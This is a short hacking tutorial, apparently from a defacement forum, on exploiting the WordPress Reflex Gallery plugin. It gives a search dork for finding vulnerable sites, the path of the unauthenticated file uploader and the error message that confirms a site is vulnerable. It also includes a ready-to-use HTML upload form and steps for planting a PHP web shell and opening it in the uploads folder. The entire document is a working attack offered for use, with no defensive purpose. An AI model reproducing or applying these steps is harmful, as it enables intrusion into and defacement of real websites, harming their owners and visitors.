::: How to Deface with Plugins Reflex Gallery ? :::

--------------------------------------------------------------------

- Dork : inurl:/wp-content/plugins/reflex-gallery/
- Exploit : wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php
- Vuln : {"error":"No files were uploaded."}
- My Site Vuln : http://example.com/

- Script CSRF :

<html>
<title>Reflex-Gallery CSRF</title>
<form method="POST" action="http://example.com/wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php" enctype="multipart/form-data" >

    <input type="file" name="qqfile"><br>

    <input type="submit" name="Submit" value="Pwn !!!">

</form>
</html>

----------------------------------------------------------------------

Okay Lets Go to Tutorial

- Save script CSRF [ reflex.html ]
- Change The Site , to site Vuln
- Save
- Chek The Vuln
- Open The Script in the Browser
- Upload your shell
- dr.php is my shell !!! :)
- Click " Pwn !!!"
- Succses...:D
- Open your Shell in the :
[ example.com/wp-content/uploads/shell.php
- Enjoy Guys !!!

-----------------------------------------------------------------------